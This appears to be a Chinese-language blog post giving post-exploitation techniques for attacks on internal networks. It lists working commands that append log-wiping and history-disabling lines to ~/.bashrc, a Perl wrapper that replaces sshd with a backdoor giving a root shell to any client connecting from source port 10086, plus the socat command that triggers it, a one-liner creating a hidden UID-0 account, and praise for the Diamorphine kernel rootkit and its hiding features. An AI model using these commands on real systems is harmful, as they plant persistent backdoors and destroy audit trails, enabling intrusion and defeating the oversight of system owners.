清除痕迹

内网攻击的时候,打扫战场很重要。

# 下面两行是在 root 被登录后清空命令记录
sed -i '$a echo > ~/.bash_history' ~/.bashrc
sed -i '$a history -r' ~/.bashrc
# 下面三行是清空 ssh 记录
sed -i '$a echo > /var/log/wtmp' ~/.bashrc
sed -i '$a echo > /var/log/btmp' ~/.bashrc
sed -i '$a echo > /var/log/auth.log' ~/.bashrc
# 不记录命令执行
sed -i '$a unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0;' ~/.bashrc

权限维持

ssh_wrapper

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是10086就执行sh给个shell。
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo $'exec "/bin/sh" if(getpeername(STDIN) =~ /^..\'f/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

在攻击机执行socat STDIO TCP4:127.0.0.1:22,sourceport=10086即可获得shell
自定义端口可用pythonstruct库实现:

#!/usr/bin/python2
import struct
print repr(struct.pack('>I6',port))

添加root用户

useradd -p `openssl passwd -1 -salt 'newuser' 密码` -o -u 0 -g root -G root -s /bin/bash -d 用户目录 用户名

这样会创建出一个权限和root一模一样的用户(实际上UID和GID也是一样的)。

Diamorphine Rootkit

Diamorphine是个LKM rootkit。

项目地址:https://github.com/m0nad/Diamorphine

  • When loaded, the module starts invisible;
  • Hide/unhide any process by sending a signal 31;
  • Sending a signal 63(to any pid) makes the module become (in)visible;
  • Sending a signal 64(to any pid) makes the given user become root;
  • Files or directories starting with the MAGIC_PREFIX become invisible;

非常的强大,非常的好用。除了Diamorphine以外还有很多rootkit,其中一部分还有开设一个后门端口的功能(相当于C2).

总结

上方三种方法可以配合着使用,达到加强权限维持的效果。

最后修改:2024 年 01 月 05 日
如果觉得我的文章对你有用,请随意赞赏